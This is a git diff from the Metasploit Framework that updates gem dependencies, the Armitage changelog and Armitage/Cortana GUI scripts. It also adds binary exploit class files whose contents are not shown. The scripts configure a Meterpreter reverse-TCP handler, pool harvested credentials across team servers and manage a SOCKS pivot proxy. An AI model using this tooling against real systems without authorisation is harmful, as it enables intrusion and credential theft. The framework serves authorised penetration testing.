diff --git a/.travis.yml b/.travis.yml
index 6411d11c2256..6b74b25154b0 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -6,3 +6,5 @@ rvm:
notifications:
irc: "irc.freenode.org#msfnotify"
+git:
+ depth: 1
diff --git a/Gemfile b/Gemfile
index 52d2e44c5135..3d5f14fe4c89 100755
--- a/Gemfile
+++ b/Gemfile
@@ -4,10 +4,20 @@ source 'http://rubygems.org'
gem 'activesupport', '>= 3.0.0'
# Needed for Msf::DbManager
gem 'activerecord'
+# Needed for some admin modules (scrutinizer_add_user.rb)
+gem 'json'
# Database models shared between framework and Pro.
-gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
+gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0'
+# Needed by msfgui and other rpc components
+gem 'msgpack'
+# Needed by anemone crawler
+gem 'nokogiri'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
+# Needed by anemone crawler
+gem 'robots'
+# For sniffer and raw socket modules
+gem 'pcaprub'
group :development do
# Markdown formatting for yard
diff --git a/Gemfile.lock b/Gemfile.lock
index 3f4ffb72e03d..c50df873bfab 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,10 +1,10 @@
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
- revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
- tag: 0.3.0
+ revision: 448c1065329efea1eac76a3897f626f122666743
+ tag: 0.4.0
specs:
- metasploit_data_models (0.3.0)
- activerecord
+ metasploit_data_models (0.4.0)
+ activerecord (>= 3.2.10)
activesupport
pg
pry
@@ -12,15 +12,15 @@ GIT
GEM
remote: http://rubygems.org/
specs:
- activemodel (3.2.9)
- activesupport (= 3.2.9)
+ activemodel (3.2.11)
+ activesupport (= 3.2.11)
builder (~> 3.0.0)
- activerecord (3.2.9)
- activemodel (= 3.2.9)
- activesupport (= 3.2.9)
+ activerecord (3.2.11)
+ activemodel (= 3.2.11)
+ activesupport (= 3.2.11)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
- activesupport (3.2.9)
+ activesupport (3.2.11)
i18n (~> 0.6)
multi_json (~> 1.0)
arel (3.0.2)
@@ -28,8 +28,12 @@ GEM
coderay (1.0.8)
diff-lcs (1.1.3)
i18n (0.6.1)
+ json (1.7.7)
method_source (0.8.1)
+ msgpack (0.5.2)
multi_json (1.0.4)
+ nokogiri (1.5.6)
+ pcaprub (0.11.3)
pg (0.14.1)
pry (0.9.10)
coderay (~> 1.0.5)
@@ -37,6 +41,7 @@ GEM
slop (~> 3.3.1)
rake (10.0.2)
redcarpet (2.2.2)
+ robots (0.10.1)
rspec (2.12.0)
rspec-core (~> 2.12.0)
rspec-expectations (~> 2.12.0)
@@ -59,10 +64,15 @@ PLATFORMS
DEPENDENCIES
activerecord
activesupport (>= 3.0.0)
+ json
metasploit_data_models!
+ msgpack
+ nokogiri
+ pcaprub
pg (>= 0.11)
rake
redcarpet
+ robots
rspec (>= 2.12)
simplecov (= 0.5.4)
yard
diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar
index 5ccd4ac15a74..81c949a109ac 100755
Binary files a/data/armitage/armitage.jar and b/data/armitage/armitage.jar differ
diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar
index 28f15b5fd16d..7c1da6dbfa1c 100644
Binary files a/data/armitage/cortana.jar and b/data/armitage/cortana.jar differ
diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt
index 5ea39884dd68..55804871ffbd 100755
--- a/data/armitage/whatsnew.txt
+++ b/data/armitage/whatsnew.txt
@@ -1,6 +1,55 @@
Armitage Changelog
==================
+12 Feb 13 (tested against msf 16438)
+---------
+- Fixed a corner case preventing the display of removed host labels
+ when connected to a team server.
+- Fixed RPC call cache corruption in team server mode. This bug could
+ lead to some exploits defaulting to a shell payload when meterpreter
+ was a possibility.
+- Slight optimization to some DB queries. I no longer pull unused
+ fields making the query marginally faster. Team server is more
+ efficient too as changes to unused fields won't force data (re)sync.
+- Hosts -> Clear Database now clears host labels too.
+- Added the ability to manage multiple team server instances through
+ Armitage. Go to Armitage -> New Connection to connect to another
+ server. A button bar will appear that allows you to switch active
+ Armitage connections.
+ - Credentials available across instances are pooled when using
+ the [host] -> Login menu and the credential helper.
+- Rewrote the event log management code in the team server
+- Added nickname tab completion to event log. I feel like I'm writing
+ an IRC client again.
+- Hosts -> Clear Database now asks you to confirm the action.
+- Hosts -> Import Hosts announces successful import to event log again.
+
+23 Jan 13 (tested against msf 16351)
+---------
+- Added helpers to set EXE::Custom and EXE::Template options.
+- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts
+- Cleaned up Armitage -> SOCKS Proxy job management code. The code to
+ check if a proxy server is up was deadlock prone. Removed it.
+- Starting SOCKS Proxy module now opens a tab displaying the module
+ start process. An event is posted to the event log too.
+- Created an option helper to select credentials for SMBUser, SMBPass,
+ USERNAME, and PASSWORD.
+- Added a feature to label hosts. A label will show up in its own column
+ in table view or below all info in graph view. Any team member may
+ change a label through [host] -> host -> Set Label. You may also use
+ dynamic workspaces to show hosts with certain labels attached.
+- Fixed bad things happening when connecting Armitage to 'localhost' and
+ not '127.0.0.1'.
+- Screenshots and Webcam shots are now centered in their tab.
+- Added an alternate .bat file to start msfrpcd on Windows in the
+ Metasploit 4.5 installer's environment.
+- Added a color-style for [!] warning messages
+
+Cortana Updates (for scripters)
+--------
+- &handler function now works as advertised.
+- Cortana now avoids use of core.setg
+
4 Jan 13 (tested against msf 16252)
--------
- Added a helper to set REXE option
diff --git a/data/exploits/cve-2012-5076_2/B.class b/data/exploits/cve-2012-5076_2/B.class
new file mode 100755
index 000000000000..953d5408a7a1
Binary files /dev/null and b/data/exploits/cve-2012-5076_2/B.class differ
diff --git a/data/exploits/cve-2012-5076_2/Exploit.class b/data/exploits/cve-2012-5076_2/Exploit.class
new file mode 100755
index 000000000000..322c8b2dd5c4
Binary files /dev/null and b/data/exploits/cve-2012-5076_2/Exploit.class differ
diff --git a/data/exploits/cve-2012-5088/B.class b/data/exploits/cve-2012-5088/B.class
new file mode 100755
index 000000000000..953d5408a7a1
Binary files /dev/null and b/data/exploits/cve-2012-5088/B.class differ
diff --git a/data/exploits/cve-2012-5088/Exploit.class b/data/exploits/cve-2012-5088/Exploit.class
new file mode 100755
index 000000000000..13d3263fd88e
Binary files /dev/null and b/data/exploits/cve-2012-5088/Exploit.class differ
diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml
new file mode 100644
index 000000000000..39a9cb897f0e
--- /dev/null
+++ b/data/exploits/docx/[Content_Types].xml
@@ -0,0 +1,2 @@
+
+
An attack management tool for Metasploit®
-
Release: 4 Jan 13
Developed by:
diff --git a/external/source/armitage/resources/msfconsole.style b/external/source/armitage/resources/msfconsole.style index a8aa51662121..3d927f37a9c3 100644 --- a/external/source/armitage/resources/msfconsole.style +++ b/external/source/armitage/resources/msfconsole.style @@ -4,6 +4,7 @@ ^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) > ^\[\*\] (.*) \cC[*]\o $1 ^\[\+\] (.*) \c9[+]\o $1 +^\[\!\] (.*) \c8[!]\o $1 ^\[\-\] (.*) \c4[-]\o $1 ^ =\[ (.*) =[\c7 $1 ^(=[=\s]+) \cE$1 diff --git a/external/source/armitage/resources/msfrpcd_new.bat b/external/source/armitage/resources/msfrpcd_new.bat new file mode 100644 index 000000000000..b1bcb31a212e --- /dev/null +++ b/external/source/armitage/resources/msfrpcd_new.bat @@ -0,0 +1,12 @@ +@echo off +set BASE=$$BASE$$..\..\ +cd "%BASE%" +set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%nmap;%BASE%postgresql\bin;%PATH% +IF NOT EXIST "%BASE%java" GOTO NO_JAVA +set JAVA_HOME="%BASE%java" +:NO_JAVA +set MSF_DATABASE_CONFIG="%BASE%apps\pro\ui\config\database.yml" +set MSF_BUNDLE_GEMS=0 +set BUNDLE_GEMFILE=%BASE%apps\pro\ui\Gemfile +cd "%BASE%apps\pro\msf3" +rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$ diff --git a/external/source/armitage/scripts-cortana/cortanadb.sl b/external/source/armitage/scripts-cortana/cortanadb.sl index 97eae7e56bad..8b1842f5fc54 100644 --- a/external/source/armitage/scripts-cortana/cortanadb.sl +++ b/external/source/armitage/scripts-cortana/cortanadb.sl @@ -42,8 +42,13 @@ sub c_client { sub setupHandlers { find_job("Exploit: multi/handler", { if ($1 == -1) { + # set LPORT for the user... + local('$c'); + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LPORT " . randomPort() . "\n"); + call($client, "console.release", $c); + # setup a handler for meterpreter - call($client, "core.setg", "LPORT", randomPort()); call($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", @@ -55,7 +60,7 @@ sub setupHandlers { sub main { global('$client $mclient'); - local('%r $exception'); + local('%r $exception $lhost $temp $c'); setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); @@ -81,8 +86,24 @@ sub main { # setup second thread. %r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326); + # resolve lhost.. + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LHOST\n"); + while ($lhost eq "") { + $temp = call($client, "console.read", $c)['data']; + if (["$temp" startsWith: "LHOST => "]) { + $lhost = substr(["$temp" trim], 9); + } + else { + # this shouldn't happen because having LHOST set is a precondition + # for Cortana to connect to a team server. + sleep(1000); + } + } + call($client, "console.release", $c); + # pass some objects back yo. - [$loader passObjects: $client, $mclient]; + [$loader passObjects: $client, $mclient, $lhost]; # don't make previous messages available... call($mclient, "armitage.skip"); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index d434f920da5a..5ab90d72355b 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,7 +9,10 @@ import msf.*; # setg("varname", "value") sub setg { - call_async("core.setg", $1, $2); + if ($1 eq "LHOST") { + call_async("armitage.set_ip", $2); + } + cmd_safe("setg $1 $2"); } sub readg { @@ -335,14 +338,22 @@ sub multi_handler { } sub handler { - local('%o $3'); - if ($3) { - %o = copy($3); - } + local('%o $3 $key $value'); - %o['PAYLOAD'] = "payload/ $+ $1"; + # default options + %o['PAYLOAD'] = $1; %o['LPORT'] = $2; + %o['DisablePayloadHandler'] = 'false'; + %o['ExitOnSession'] = 'false'; + + # let the user override anything + if ($3) { + foreach $key => $value ($3) { + %o[$key] = $value; + } + } + # make sure LHOST is correct if ('LHOST' !in %o) { if ("*http*" iswm $1) { %o['LHOST'] = lhost(); @@ -352,6 +363,7 @@ sub handler { } } + # let's do it... return launch('exploit', 'multi/handler', %o); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 2cf69a9a9754..427e1c4a82a3 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME'); sub describeHost { local('$desc'); @@ -59,7 +59,7 @@ sub showHost { else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) { push(@overlay, 'resources/windowsxp.png'); } - else if ("*8*" iswm $match) { + else if ("*8*" iswm $match && "*2008*" !iswm $match) { push(@overlay, 'resources/windows8.png'); } else { @@ -139,7 +139,7 @@ sub _connectToMetasploit { $progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100]; # keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose. - $REMOTE = iff($1 eq "127.0.0.1", $null, 1); + $REMOTE = iff($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost", $null, 1); $flag = 10; while ($flag) { @@ -160,11 +160,12 @@ sub _connectToMetasploit { } # connecting locally? go to Metasploit directly... - if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") { + if ($REMOTE is $null) { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; initConsolePool(); + $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { @@ -172,6 +173,11 @@ sub _connectToMetasploit { setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; + + if ($mclient is $null) { + [$progress close]; + return; + } } $flag = $null; } @@ -239,10 +245,6 @@ sub _connectToMetasploit { [$progress setNote: "Connected: ..."]; [$progress setProgress: 60]; - if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') { - showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server."); - } - dispatchEvent(&postSetup); }, \$progress)); } @@ -323,28 +325,23 @@ sub postSetup { } sub main { - local('$console $panel $dir'); + local('$console $panel $dir $app'); - $frame = [new ArmitageApplication]; + $frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient]; [$frame setTitle: $TITLE]; - [$frame setSize: 800, 600]; - + [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; init_menus($frame); initLogSystem(); - [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$frame show]; - [$frame setExtendedState: [JFrame MAXIMIZED_BOTH]]; - # this window listener is dead-lock waiting to happen. That's why we're adding it in a # separate thread (Sleep threads don't share data/locks). fork({ - [$frame addWindowListener: { + [$__frame__ addWindowListener: { if ($0 eq "windowClosing" && $msfrpc_handle !is $null) { closef($msfrpc_handle); } }]; - }, \$msfrpc_handle, \$frame); + }, \$msfrpc_handle, \$__frame__); dispatchEvent({ if ($client !is $mclient) { @@ -375,7 +372,6 @@ sub checkDir { } } -setLookAndFeel(); checkDir(); if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) { diff --git a/external/source/armitage/scripts/attacks.sl b/external/source/armitage/scripts/attacks.sl index 4940fb4474e5..9fa13c9902d3 100644 --- a/external/source/armitage/scripts/attacks.sl +++ b/external/source/armitage/scripts/attacks.sl @@ -679,12 +679,20 @@ sub addFileListener { $actions["SigningCert"] = $actions["*FILE*"]; $actions["SigningKey"] = $actions["*FILE*"]; $actions["Wordlist"] = $actions["*FILE*"]; + $actions["EXE::Custom"] = $actions["*FILE*"]; + $actions["EXE::Template"] = $actions["*FILE*"]; $actions["WORDLIST"] = $actions["*FILE*"]; $actions["REXE"] = $actions["*FILE*"]; # set up an action to choose a session $actions["SESSION"] = lambda(&chooseSession); + # helpers to set credential pairs from database... yay? + $actions["USERNAME"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["PASSWORD"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["SMBUser"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + $actions["SMBPass"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + # set up an action to pop up a file chooser for different file type values. $actions["RHOST"] = { local('$title $temp'); diff --git a/external/source/armitage/scripts/collaborate.sl b/external/source/armitage/scripts/collaborate.sl index 4a2cc2959c0f..2f302c3837e8 100644 --- a/external/source/armitage/scripts/collaborate.sl +++ b/external/source/armitage/scripts/collaborate.sl @@ -23,6 +23,7 @@ sub createEventLogTab { $client = [$cortana getEventLog: $console]; [$client setEcho: $null]; [$console updatePrompt: "> "]; + [new EventLogTabCompletion: $console, $mclient]; } else { [$console updateProperties: $preferences]; @@ -63,6 +64,7 @@ sub c_client { # run this thing in its own thread to avoid really stupid deadlock situations local('$handle'); $handle = [[new SecureSocket: $1, int($2), &verify_server] client]; + push(@CLOSEME, $handle); return wait(fork({ local('$client'); $client = newInstance(^RpcConnection, lambda({ @@ -91,9 +93,11 @@ sub setup_collaboration { %r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326); if (%r["error"] eq "1") { showErrorAndQuit(%r["message"]); + return $null; } %r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326); + $DESCRIBE = "$nick $+ @ $+ $3"; return $mclient; } diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index da5f974c100b..d5dae2412b98 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -95,13 +95,13 @@ sub dispatchEvent { sub showError { dispatchEvent(lambda({ - [JOptionPane showMessageDialog: $frame, $message]; + [JOptionPane showMessageDialog: $__frame__, $message]; }, $message => $1)); } sub showErrorAndQuit { - [JOptionPane showMessageDialog: $frame, $1]; - [System exit: 0]; + [JOptionPane showMessageDialog: $__frame__, $1]; + [$__frame__ closeConnect]; } sub ask { @@ -155,7 +155,7 @@ sub chooseFile { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; } - [$fc showOpenDialog: $frame]; + [$fc showOpenDialog: $__frame__]; if ($multi) { return [$fc getSelectedFiles]; @@ -179,17 +179,18 @@ sub saveFile2 { [$fc setSelectedFile: [new java.io.File: $sel]]; } - [$fc showSaveDialog: $frame]; - $file = [$fc getSelectedFile]; - if ($file !is $null) { - return $file; + if ([$fc showSaveDialog: $__frame__] == 0) { + $file = [$fc getSelectedFile]; + if ($file !is $null) { + return $file; + } } } sub saveFile { local('$fc $file'); $fc = [new JFileChooser]; - [$fc showSaveDialog: $frame]; + [$fc showSaveDialog: $__frame__]; $file = [$fc getSelectedFile]; if ($file !is $null) { local('$ihandle $data $ohandle'); @@ -250,10 +251,10 @@ sub left { sub dialog { local('$dialog $4'); - $dialog = [new JDialog: $frame, $1]; + $dialog = [new JDialog: $__frame__, $1]; [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; return $dialog; } @@ -261,7 +262,15 @@ sub window { local('$dialog $4'); $dialog = [new JFrame: $1]; [$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]]; + + fork({ + [$dialog addWindowListener: { + if ($0 eq "windowClosing") { + [$__frame__ closeConnect]; + } + }]; + }, \$__frame__, \$dialog); + [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; return $dialog; @@ -277,12 +286,14 @@ sub overlay_images { return %cache[join(';', $1)]; } - local('$file $image $buffered $graphics'); + local('$file $image $buffered $graphics $resource'); $buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]]; $graphics = [$buffered createGraphics]; foreach $file ($1) { - $image = [ImageIO read: resource($file)]; + $resource = resource($file); + $image = [ImageIO read: $resource]; + closef($resource); [$graphics drawImage: $image, 0, 0, 1000, 776, $null]; } @@ -371,15 +382,6 @@ sub wrapComponent { return $panel; } -sub setLookAndFeel { - local('$laf'); - foreach $laf ([UIManager getInstalledLookAndFeels]) { - if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) { - [UIManager setLookAndFeel: [$laf getClassName]]; - } - } -} - sub thread { local('$thread'); $thread = [new ArmitageThread: $1]; @@ -446,7 +448,7 @@ sub quickListDialog { $button = [new JButton: $2]; [$button addActionListener: lambda({ - [$callback : [$model getSelectedValueFromColumn: $table, $lead]]; + [$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model]; [$dialog setVisible: 0]; }, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])]; @@ -467,6 +469,13 @@ sub quickListDialog { [$dialog setVisible: 1]; } +sub setTableColumnWidths { + local('$col $width $temp'); + foreach $col => $width ($2) { + [[$1 getColumn: $col] setPreferredWidth: $width]; + } +} + sub tableRenderer { return [ATable getDefaultTableRenderer: $1, $2]; } diff --git a/external/source/armitage/scripts/hosts.sl b/external/source/armitage/scripts/hosts.sl index 448bdb8fc7f6..767415458575 100644 --- a/external/source/armitage/scripts/hosts.sl +++ b/external/source/armitage/scripts/hosts.sl @@ -8,10 +8,10 @@ import java.awt.event.*; sub addHostDialog { local('$dialog $label $text $finish $button'); - $dialog = [new JDialog: $frame, "Add Hosts", 0]; + $dialog = [new JDialog: $__frame__, "Add Hosts", 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; $label = [new JLabel: "Enter one host/line:"]; $text = [new JTextArea]; diff --git a/external/source/armitage/scripts/jobs.sl b/external/source/armitage/scripts/jobs.sl index fc30868be77e..603f8ccf1b23 100644 --- a/external/source/armitage/scripts/jobs.sl +++ b/external/source/armitage/scripts/jobs.sl @@ -16,47 +16,7 @@ import java.awt.event.*; import ui.*; sub manage_proxy_server { - manage_job("Auxiliary: server/socks4a", - # start server function - { - launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null); - }, - # description of job (for job kill function) - { - local('$host $port'); - ($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT")); - return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?"; - } - ); - -} - -sub report_url { - find_job($name, { - if ($1 == -1) { - showError("Server not found"); - } - else { - local('$job $host $port $uripath'); - $job = call($client, "job.info", $1); - - ($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT")); - $uripath = $job["info"]["uripath"]; - - local('$dialog $text $ok'); - $dialog = dialog("Output", 320, 240); - $text = [new JTextArea]; - [$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"]; - - $button = [new JButton: "Ok"]; - [$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)]; - - [$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]]; - [$dialog add: center($button), [BorderLayout SOUTH]]; - - [$dialog setVisible: 1]; - } - }); + launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", 1); } sub find_job { @@ -80,26 +40,6 @@ sub find_job { }, $name => $1, $function => $2)); } -# manage_job(job name, { start job function }, { job dialog info }) -sub manage_job { - local('$name $startf $stopf'); - ($name, $startf, $stopf) = @_; - - find_job($name, lambda({ - if ($1 == -1) { - [$startf]; - } - else { - local('$job $confirm $foo $confirm'); - $job = call($client, "job.info", $1); - $confirm = askYesNo([$stopf : $1, $job], "Stop Job"); - if ($confirm eq "0") { - call_async($client, "job.stop", $1); - } - } - }, \$startf, \$stopf)); -} - sub generatePayload { local('$file'); $file = saveFile2(); @@ -450,6 +390,11 @@ sub _launch_dialog { elog("launched DNS enum for $domain"); } } + else if ($type eq "auxiliary" && $command eq "server/socks4a") { + local('$host $port'); + ($host, $port) = values($options, @('SRVHOST', 'SRVPORT')); + elog("started SOCKS proxy server at $host $+ : $+ $port"); + } launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]); } diff --git a/external/source/armitage/scripts/log.sl b/external/source/armitage/scripts/log.sl index 6916a2d78f9b..e1d6c0980065 100644 --- a/external/source/armitage/scripts/log.sl +++ b/external/source/armitage/scripts/log.sl @@ -15,8 +15,8 @@ sub logNow { if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") { local('$today $stream'); $today = formatDate("yyMMdd"); - mkdir(getFileProper(dataDirectory(), $today, $2)); - $stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + $stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ]; [$stream println: $3]; } } @@ -26,8 +26,8 @@ sub logCheck { local('$today'); $today = formatDate("yyMMdd"); if ($2 ne "") { - mkdir(getFileProper(dataDirectory(), $today, $2)); - [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]]; } } } @@ -38,7 +38,7 @@ sub logFile { local('$today $handle $data $out'); $today = formatDate("yyMMdd"); if (-exists $1 && -canread $1) { - mkdir(getFileProper(dataDirectory(), $today, $2, $3)); + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3)); # read in the file $handle = openf($1); @@ -46,7 +46,7 @@ sub logFile { closef($handle); # write it out. - $out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1)); + $out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1)); $handle = openf("> $+ $out"); writeb($handle, $data); closef($handle); @@ -70,7 +70,7 @@ sub initLogSystem { logFile([$file getAbsolutePath], "screenshots", "."); deleteFile([$file getAbsolutePath]); - showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots"); + showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots"); }, \$image, \$title)); }]; } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 7c70ba2d6285..011e0d72ed77 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -54,6 +54,29 @@ sub host_selected_items { item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista")); item($i, '4. 8/RT', '4', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "8")); + item($h, "Set Label...", 'S', lambda({ + # calculate preexisting label to prompt with + local('$label %l $host'); + + # get a label + foreach $host ($hosts) { + if ($label eq "") { + $label = getHostLabel($host); + } + } + + # ask for a label + $label = ask("Set label to:", $label); + if ($label !is $null) { + foreach $host ($hosts) { + %l[$host] = ["$label" trim]; + } + call_async($mclient, "db.report_labels", %l); + } + }, $hosts => $2)); + + separator($h); + item($h, "Remove Host", 'R', clearHostFunction($2)); } @@ -96,10 +119,13 @@ sub view_items { sub armitage_items { local('$m'); - item($1, 'Preferences', 'P', &createPreferencesTab); - + item($1, 'New Connection', 'N', { + [new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null]; + }); separator($1); + item($1, 'Preferences', 'P', &createPreferencesTab); + dynmenu($1, 'Set Target View', 'S', { local('$t1 $t2'); if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") { @@ -160,12 +186,13 @@ sub armitage_items { separator($1); - item($1, 'Exit', 'x', { + item($1, 'Close', 'C', { if ($msfrpc_handle !is $null) { closef($msfrpc_handle); } - [System exit: 0]; + map({ closef($1); }, @CLOSEME); + [$__frame__ quit]; }); } @@ -223,7 +250,7 @@ sub help_items { [$dialog add: $label, [BorderLayout CENTER]]; [$dialog pack]; - [$dialog setLocationRelativeTo: $null]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setVisible: 1]; }); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index 19feb846c31e..c5eaf94ffbd3 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -58,12 +58,38 @@ import ui.*; sub refreshCredsTable { thread(lambda({ [Thread yield]; - local('$creds $cred'); + local('$creds $cred $desc $aclient %check $key'); [$model clear: 128]; - $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $desc => $aclient (convertAll([$__frame__ getClients])) { + $creds = call($aclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + [$model addEntry: $cred]; + %check[$key] = 1; + } + } + } + [$model fireListeners]; + }, $model => $1, $title => $2)); +} + +sub refreshCredsTableLocal { + thread(lambda({ + [Thread yield]; + local('$creds $cred $desc $aclient %check $key'); + [$model clear: 128]; + $creds = call($client, "db.creds2", [new HashMap])["creds2"]; foreach $cred ($creds) { - if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { [$model addEntry: $cred]; + %check[$key] = 1; } } [$model fireListeners]; @@ -71,7 +97,7 @@ sub refreshCredsTable { } sub show_hashes { - local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll'); + local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3'); $dialog = dialog($1, 480, $2); @@ -83,7 +109,12 @@ sub show_hashes { [$sorter setComparator: 2, &compareHosts]; [$table setRowSorter: $sorter]; - refreshCredsTable($model, $1); + if ($3) { + refreshCredsTableLocal($model, $1); + } + else { + refreshCredsTable($model, $1); + } $scroll = [new JScrollPane: $table]; [$scroll setPreferredSize: [new Dimension: 480, 130]]; @@ -94,7 +125,7 @@ sub show_hashes { sub createCredentialsTab { local('$dialog $table $model $panel $export $crack $refresh'); - ($dialog, $table, $model) = show_hashes("", 320); + ($dialog, $table, $model) = show_hashes("", 320, 1); [$dialog removeAll]; addMouseListener($table, lambda({ @@ -131,7 +162,7 @@ sub createCredentialsTab { $refresh = [new JButton: "Refresh"]; [$refresh addActionListener: lambda({ - refreshCredsTable($model, $null); + refreshCredsTableLocal($model, $null); }, \$model)]; 